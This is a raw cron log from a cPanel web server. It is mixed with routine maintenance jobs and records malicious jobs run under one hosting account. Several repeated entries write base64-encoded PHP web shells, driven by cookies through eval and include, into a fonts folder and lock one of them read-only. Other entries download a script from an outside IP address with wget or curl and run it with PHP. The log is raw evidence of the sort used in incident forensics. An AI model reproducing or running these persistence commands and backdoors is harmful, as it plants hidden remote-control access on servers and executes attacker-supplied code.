Sep  1 07:49:01 ip-184-168-122-23 CROND[14818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:49:01 ip-184-168-122-23 CROND[14820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:50:01 ip-184-168-122-23 CROND[14925]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 07:50:01 ip-184-168-122-23 CROND[14924]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 07:50:01 ip-184-168-122-23 CROND[14926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:50:01 ip-184-168-122-23 CROND[14928]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 07:50:01 ip-184-168-122-23 CROND[14931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:50:01 ip-184-168-122-23 CROND[14929]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:50:01 ip-184-168-122-23 CROND[14927]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 07:50:01 ip-184-168-122-23 CROND[14930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:50:01 ip-184-168-122-23 CROND[14932]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 07:51:01 ip-184-168-122-23 CROND[15055]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:51:01 ip-184-168-122-23 CROND[15056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:51:01 ip-184-168-122-23 CROND[15057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:51:01 ip-184-168-122-23 CROND[15058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:52:02 ip-184-168-122-23 CROND[15227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:52:02 ip-184-168-122-23 CROND[15230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:52:02 ip-184-168-122-23 CROND[15229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:52:02 ip-184-168-122-23 CROND[15232]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 07:52:02 ip-184-168-122-23 CROND[15231]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:53:01 ip-184-168-122-23 CROND[15360]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:53:01 ip-184-168-122-23 CROND[15362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:53:01 ip-184-168-122-23 CROND[15361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:53:01 ip-184-168-122-23 CROND[15363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:54:01 ip-184-168-122-23 CROND[15473]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:54:01 ip-184-168-122-23 CROND[15476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:54:01 ip-184-168-122-23 CROND[15475]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 07:54:01 ip-184-168-122-23 CROND[15477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:54:01 ip-184-168-122-23 CROND[15478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:55:01 ip-184-168-122-23 CROND[15576]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:55:01 ip-184-168-122-23 CROND[15579]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 07:55:01 ip-184-168-122-23 CROND[15578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:55:01 ip-184-168-122-23 CROND[15580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:55:01 ip-184-168-122-23 CROND[15581]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 07:55:01 ip-184-168-122-23 CROND[15582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:56:01 ip-184-168-122-23 CROND[15716]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:56:01 ip-184-168-122-23 CROND[15720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:56:01 ip-184-168-122-23 CROND[15718]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 07:56:01 ip-184-168-122-23 CROND[15719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:56:01 ip-184-168-122-23 CROND[15721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:57:01 ip-184-168-122-23 CROND[15937]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:57:01 ip-184-168-122-23 CROND[15938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:57:01 ip-184-168-122-23 CROND[15939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:57:01 ip-184-168-122-23 CROND[15941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:58:01 ip-184-168-122-23 CROND[16045]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 07:58:01 ip-184-168-122-23 CROND[16047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:58:01 ip-184-168-122-23 CROND[16048]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:58:01 ip-184-168-122-23 CROND[16049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:58:01 ip-184-168-122-23 CROND[16050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:59:01 ip-184-168-122-23 CROND[16142]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 07:59:01 ip-184-168-122-23 CROND[16144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:59:01 ip-184-168-122-23 CROND[16146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 07:59:01 ip-184-168-122-23 CROND[16145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:00:01 ip-184-168-122-23 CROND[16258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 08:00:01 ip-184-168-122-23 CROND[16260]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 08:00:01 ip-184-168-122-23 CROND[16261]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 08:00:01 ip-184-168-122-23 CROND[16262]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 08:00:01 ip-184-168-122-23 CROND[16265]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 08:00:01 ip-184-168-122-23 CROND[16267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 08:00:01 ip-184-168-122-23 CROND[16263]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  1 08:00:01 ip-184-168-122-23 CROND[16266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 08:00:01 ip-184-168-122-23 CROND[16271]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Sep  1 08:00:01 ip-184-168-122-23 CROND[16274]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
